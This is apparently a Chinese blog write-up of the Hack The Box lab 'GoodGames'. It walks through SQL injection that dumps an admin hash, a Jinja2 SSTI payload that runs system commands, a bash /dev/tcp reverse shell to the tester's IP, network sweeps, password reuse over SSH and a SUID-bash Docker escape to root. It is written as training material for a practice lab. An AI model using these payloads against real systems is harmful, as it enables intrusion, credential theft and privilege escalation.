【HTB】GoodGame
前言
之前打了很多墨者,也考完PTE,发现单纯的做墨者还是太简单了,墨者还是比较适合巩固知识点,所以在朋友的推荐下,准备打HTB(Hack The Box),难是真的难,但是收获是真的多
正文
有关连接
由于是纯英文,在环境配置上还有点小问题,首先在右上角头像那,打开Class HTB,新版找不到环境配置选项,还是去旧版
然后在左边栏目里面打开Labs的Access,将安装包下载后移到kali,然后在里面打开openvpn
每次打开靶场都要开启openvpn,同时不能关,要一直保持连接才行,连接情况可以看右边这个框,有关勾就是成功的
随后打开kali,在里面输入以下网址,即可进入目标网站进行渗透测试
信息搜集
nmap扫描
nmap进行主机扫描,获取开放端口
nmap -p- -T4 --min-rate 10000 -oA nmap-alltcp 10.10.11.130 -Pn -n -v
参数解释
-p-:代表1-65535的所有端口
-T<1-5>:设置时序模块,越高越快
--min-rate:最小发包速率
-oA:将nmap的输出格式保存为所有格式
nmap-alltcp:进行全tcp扫描
-Pn:将所有主机都默认为在线,跳过主机发现
-n:不做DNS解析
-v:增加详细程度
只扫到一个80端口
然后观察网站信息,通过burp抓包后的回包,发现网络服务器标识为“Werkzeug/2.0.2 Python/3.9.2”
Werkzeug是一个基于python的web开发的工具包,不是web服务器,也不是web框架,许多python框架,如flask就是以它作为底层库
目录爆破
在 /etc/hosts
中添加域名解析
10.10.11.130 goodgames.htb
本来想用feroxbuster或者wfuzz进行目录爆破,但是都要自己导入字典,嫌麻烦还是选择dirsearch,自带字典且支持导入
feroxbuster
# 字典保存在/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
feroxbuster -u http://goodgames.htb
dirsearch
dirsearch -u http://goodgames.htb
feroxbuster可以多层目录爆破,但是dirsearch默认只有一层
也没有什么重要的信息
发现漏洞
SQL注入
页面右上角有一个小人的logo,是一个登陆界面
在注册后登陆时抓包,感觉应该有SQL注入的漏洞
在email那边有单引号注入
' or 1=1 #
获得回显为4
' union select 1,2,3,4 #
获得库名为 main
' union select 1,2,3,database() #
获得表名为 blog,blog_comments,user
' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #
获取user的列名为 id,email,password,name
' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='user' #
获得管理员账号 admin@goodgames.htb,2b22337f218b2d82dfc3b6f77e7cb8ec
md5解密获得管理员明文密码 superadministrator
登陆进来后发现有一个多的小齿轮
修改 /etc/hosts ,添加域名解析后,进入如下界面,账号密码和之前一样
10.10.11.130 [internal-administration.goodgames.htb](http://internal-administration.goodgames.htb/)
进去后如下页面,随便点点发现功能都没用,但是网页title是Flask,所以尝试是否有SSTI注入
在该页面到处点,只有修改用户名的功能
尝试再次给出有效载荷 {{12*12}}
,名称更新,此处可以SSTI攻击
执行POC,得知权限为root(具体有关SSTI的知识可以参看以下两篇文章,本人才疏学浅,目前尚未深入了解该方面知识)
https://www.cnblogs.com/bmjoker/p/13508538.html
https://www.guildhab.top/2019/10/flask-jinja2-ssti-python-沙箱逃逸/
{{ namespace.__init__.__globals__.os.popen('id').read() }}
通过os模块的popen执行系统命令,获得当前用户和组信息
此服务器是Linux系统,通过nc反弹shell
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.35/443 0>&1"').read() }}
bash -c后面跟系统命令,双引号内为反弹shell命令,0>&1表示将标准输入重定向到正确输入文件(远程);通过openvpn连接,此时我们的ip为10.10.14.26,反弹到我们的443端口上
通过nc开启监听,获取shell
nc -lnvp 443
通过慢慢查看找到home里面有个augustus用户,下面有user.txt,打开后并不是flag
此时 ifconfig
发现还有一个172.19.0.2的ip,而我又是root,推测不是主机
在passwd中查看该用户,发现没有,推测是在docker里
cat /etc/passwd | grep augustus
mount命令查看挂载,表明此主目录以及从主机安装到容器中
mount | grep augustus
C端扫描
对当前网段进行扫描
for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
对C端进行扫描,挑出bytes from的字段,去掉Unreachable字段
明显知道,172.19.0.1为Docker主机
快速扫描端口,显示监听22和80端口
for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
检查密码复用,发现一直报错
ssh augustus@172.19.0.1
百度后可知,Pseudo-terminal will not be allocated because stdin is not a terminal.
的字面意思是伪终端将无法分配,因为标准输入不是终端,简单说就是nc这种只是伪终端,需要把输入变成真正的终端
使用 script
技巧获得终端
# 在nc界面输入如下
script /dev/null -c bash
# Ctrl+Z任务挂起后回到本机,输入如下将其切回前台
stty raw -echo; fg
# 重启
reset
# 选择类型
screen
script表示记录屏幕输入的内容,/dev/null可以理解为一个黑洞,可以无限丢东西进去,script /dev/null 合起来可以理解为创建一个终端,权限属于当前用户;也可以理解为
记录屏幕上输入的内容,写入/dev/null中,同时将其当作命令执行
SSH连接
重新进行SSH远程连接,用户因为只找到一个augustus,密码和后台密码一样,登陆成功!
ssh augustus@172.19.0.1
查看内网主机所有地址,发现IP匹配
augustus@GoodGames:~$ hostname -I
10.10.11.130 172.19.0.1 172.17.0.1
从进程角度看,Docker也确实在进程列表中
augustus@GoodGames:~$ ps auxww | grep docker
root 879 0.0 2.0 1457176 83924 ? Ssl 06:01 0:07 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1253 0.0 0.2 1148904 9444 ? Sl 06:01 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8085 -container-ip 172.19.0.2 -container-port 8085
在主目录和Docker目录中发现基本一样,只间隔一小时
augustus@GoodGames:~$ ls -la
total 24
drwxr-xr-x 2 augustus augustus 4096 Dec 2 23:51 .
drwxr-xr-x 3 root root 4096 Oct 19 12:16 ..
lrwxrwxrwx 1 root root 9 Nov 3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus 220 Oct 19 12:16 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 12:16 .bashrc
-rw-r--r-- 1 augustus augustus 807 Oct 19 12:16 .profile
-rw-r----- 1 root augustus 33 Mar 15 06:01 user.txt
—————————————————————————————————————————————————————————————————————————————
root@3a453ab39d3d:/home/augustus# ls -la
ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Dec 2 23:51 .
drwxr-xr-x 1 root root 4096 Nov 5 15:23 ..
lrwxrwxrwx 1 root root 9 Nov 3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 11:16 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 11:16 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 11:16 .profile
-rw-r----- 1 root 1000 33 Mar 15 06:01 user.txt
然后各自创建文件,发现在容器和主机创建的文件互相可见,但是容器创建的文件在主机上是root权限!!!
将/bin/bash
文件从主机上cp
到container上
cp /bin/bash ./
注意此时双方都在
/home/augustus
文件夹中
在容器中修改该文件的权限,同时修改SUID
root@3a453ab39d3d:/home/augustus# ls -l bash
-rwxr-xr-x 1 1000 1000 1234376 Mar 15 12:40 bash
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4777 bash
-rwsrwxrwx 1 root root 1234376 Mar 15 12:40 bash
将从主机拷贝的bash文件的权限修改为root用户和root组,这样在主机里查看时也是root权限,同时chmod的第一个4,表示可执行文件执行时,拥有文件所有者的权限
此时的关键就是让bash变成可执行文件,这样才能拥有文件所有者,也就是root权限,运行它,返回一个root shell
./bash -p
搜索root目录,拿到flag
参考资料作者遇到的坑
正常cp文件时,应该是将主机文件cp到容器下,但作者在cp文件时,尝试将容器的bash文件cp到主机中,后来的一切都正常,但是 ./bash -p 就是无法执行,出错原因为
./bash: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directo
翻译就是缺一个 libtinfo.so.5
的二进制文件,通过运行ldd
命令查看其依赖的共享库文件,发现没有 libtinfo.so.5
的二进制文件
augustus@GoodGames:~$ ldd bash
linux-vdso.so.1 (0x00007ffc64194000)
libtinfo.so.5 => not found
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa964fc8000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa964e03000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa964fd7000)
它清楚地表明libtinfo.so.5
没有找到。bash
主机上的标准二进制文件正在使用libtinfo.so.6
augustus@GoodGames:~$ ldd /bin/bash
linux-vdso.so.1 (0x00007ffd31e97000)
libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007f28239dd000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f28239d7000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2823812000)
/lib64/ld-linux-x86-64.so.2 (0x00007f2823b4e000)
总结
一个朋友推荐我去试试综合的靶场,也就是这个Hack the box,前前后后断断续续打了3天,非常有收获,同时在实战中也收获了一切旁支的知识,也算是痛并快乐着
不过Hack the box有些小问题需要注意:首先是网上的注册码问题,之前要自己找注册码进行填写,但是新版不要;然后就是收费VIP问题,它是两周更换一次靶场,之前的靶场和一些收费靶场将只有VIP才能打,换之后的和其他的是免费的,如果在换之前开了一个靶场,但是打完刚好换掉了,是无法提交Flag的,会显示Unauthorized,希望对该靶场感兴趣的小伙伴要注意
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/16029433.html